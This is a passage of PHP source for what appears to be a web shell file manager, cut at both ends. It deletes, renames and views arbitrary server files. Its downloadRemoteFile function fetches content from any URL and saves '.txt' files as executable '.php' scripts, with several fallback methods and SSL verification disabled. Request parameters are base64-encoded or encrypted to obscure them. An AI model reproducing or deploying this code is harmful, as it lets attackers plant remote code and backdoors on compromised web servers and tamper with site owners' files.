File uploaded successfully.';
} else {
return 'File upload failed.
';
}
}
function deleteFile($filePath) {
if (unlink($filePath)) {
return 'File deleted successfully.
';
} else {
return 'File deletion failed.
';
}
}
function viewFile($filePath) {
if (is_file($filePath)) {
$handle = fopen($filePath, "r");
$content = fread($handle, filesize($filePath));
fclose($handle);
return htmlspecialchars($content);
} else {
return 'File does not exist.';
}
}
function renameItem($oldPath, $newName) {
$newPath = dirname($oldPath) . '/' . $newName;
if (rename($oldPath, $newPath)) {
return 'Item renamed successfully.
';
} else {
return 'Renaming failed.
';
}
}
function downloadRemoteFile($url, $targetDir) {
$filen = str_replace('.txt','.php',basename($url));
$targetPath = $targetDir . '/' . $filen;
$file = fopen($url, 'rb');
if ($file) {
$targetFile = fopen($targetPath, 'wb');
if ($targetFile) {
while ($buffer = fread($file, 1024)) {
fwrite($targetFile, $buffer);
}
fclose($targetFile);
fclose($file);
return 'Remote file downloaded successfully using fopen().
';
}
fclose($file);
}
$fileContent = @file($url);
if ($fileContent !== false) {
$targetFile = fopen($targetPath, 'wb');
if ($targetFile) {
foreach ($fileContent as $line) {
fwrite($targetFile, $line);
}
fclose($targetFile);
return 'Remote file downloaded successfully using file().
';
}
}
if (@copy($url, $targetPath)) {
return 'Remote file downloaded successfully using copy().
';
}
$contextOptions = array(
"ssl" => array(
"verify_peer" => false,
"verify_peer_name" => false,
),
);
$context = stream_context_create($contextOptions);
$file = fopen($url, 'rb', false, $context);
if ($file) {
$targetFile = fopen($targetPath, 'wb');
if ($targetFile) {
while ($buffer = fread($file, 1024)) {
fwrite($targetFile, $buffer);
}
fclose($targetFile);
fclose($file);
return 'Remote file downloaded successfully using stream_context_create().
';
}
fclose($file);
}
return 'Remote file download failed.
';
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES['file_upload'])) {
$message = uploadFile($currentDir);
} elseif (isset($_POST['delete'])) {
$message = deleteFile(decrypt($_POST['delete']));
} elseif (isset($_POST['download_url'])) {
$message = downloadRemoteFile(base64_decode($_POST['download_url']), $currentDir);
} elseif (isset($_POST['old_name']) && isset($_POST['new_name'])) {
$oldPath = decrypt($_POST['old_name']);
$newName = base64_decode($_POST['new_name']);
$message = renameItem($oldPath, $newName);
}
}
?>
Current Path:
$part) {
if ($fullPath === '') {
$fullPath = $part;
} else if ($fullPath === DIRECTORY_SEPARATOR) {
$fullPath .= $part;
} else {
$fullPath .= DIRECTORY_SEPARATOR . $part;
}
?>
Name |
Size |
Actions |
|
= filesize($filePath) ?> bytes
DIR
|
|
Viewing File: = htmlspecialchars(basename(decrypt($_POST['view']))) ?>